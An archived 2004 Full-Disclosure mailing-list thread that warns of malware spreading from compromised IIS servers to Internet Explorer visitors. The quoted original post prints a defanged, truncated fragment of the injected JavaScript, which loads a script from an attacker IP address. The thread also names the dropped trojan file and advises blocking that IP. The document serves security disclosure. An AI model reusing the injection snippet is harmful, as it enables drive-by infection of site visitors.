full-disclosure - New malware to infect IIS and from there jump to clients

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <40DC62A9.9020000@ameritech.net>
From: insecure at ameritech.net (insecure)
Subject: New malware to infect IIS and from there jump
 to clients

Berbew/Webber/Padodor Trojan, according to Lurhq.

http://www.lurhq.com/berbew.html


joe wrote:

>For the IIS side....
>
>http://www.microsoft.com/security/incident/download_ject.mspx
> 
>
>
>Microsoft teams are investigating a report of a security issue affecting
>customers using Microsoft Internet Information Services 5.0 (IIS) and
>Microsoft Internet Explorer, components of Windows.
>
>Important  Customers who have deployed Windows XP Service Pack 2 RC2 are not
>at risk.
>
>Reports indicate that Web servers running Windows 2000 Server and IIS that
>have not applied update 835732, which was addressed by Microsoft Security
>Bulletin MS04-011, are possibly being compromised and being used to attempt
>to infect users of Internet Explorer with malicious code.
>
>
>
>
>
>
>-----Original Message-----
>From: full-disclosure-admin@...ts.netsys.com
>[mailto:full-disclosure-admin@...ts.netsys.com] On Behalf Of Peter Kruse
>Sent: Thursday, June 24, 2004 7:22 PM
>To: full-disclosure@...ts.netsys.com
>Subject: [Full-Disclosure] New malware to infect IIS and from there jump to
>clients
>
>Hi all,
>
>This is a heads up.
>
>A new malware has been reported from several sources so it appears to be
>fairly widespread already.
>
>The malware spreads from infected IIS servers to clients that visit the
>webpage of the infected server. How the IIS servers was compromised in the
>first place is unfortunately still unknown (any info on that would be
>appreciated).
>
>The malware redirects a visitor to http: //217.107.218.147/xxx.php. It does
>so by running a javascript that apparently gets appended to several files in
>the webfolder of IIS (eg. html, .txt, .gif). The webpage loads http://
>217.107.218.147/xxx.html that contains the following code:
>
><script language="Javascript">
>
>    function InjectedDuringRedirection(){
>      showModalDialog('md.htm', window, "dialog
>Top: -10000\;dialogLeft:-10000\;dialog Height :1\;dialog Width
>:1\;").location= " java script:'<SCRIPT  SRC =\\' http://
>217.107.218.147/shellxxx.js\\'> <\ /script>'";
>
>[snip - you get the picture, right?]
>
>I had to put in some spaces to get past trivial content filtering.
>
>>From that point it will try to run the malware in a 1x1 dialogbox in the
>following order:
>
>shellscript_loadxxx.js
>shellxxx.js
>
>The shellxxx.js will try to drop "msits.exe" (51.712 bytes) a
>trojan-downloader and run it.
>
>Consider to deny access to http://217.107.218.147 in your firewall. This
>will at least prevent client PCs from getting infected.
>
>Further information can be found in the daily log from SANS:
>http://isc.sans.org/
>
>Regards
>Peter Kruse
>http://www.csis.dk
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>  
>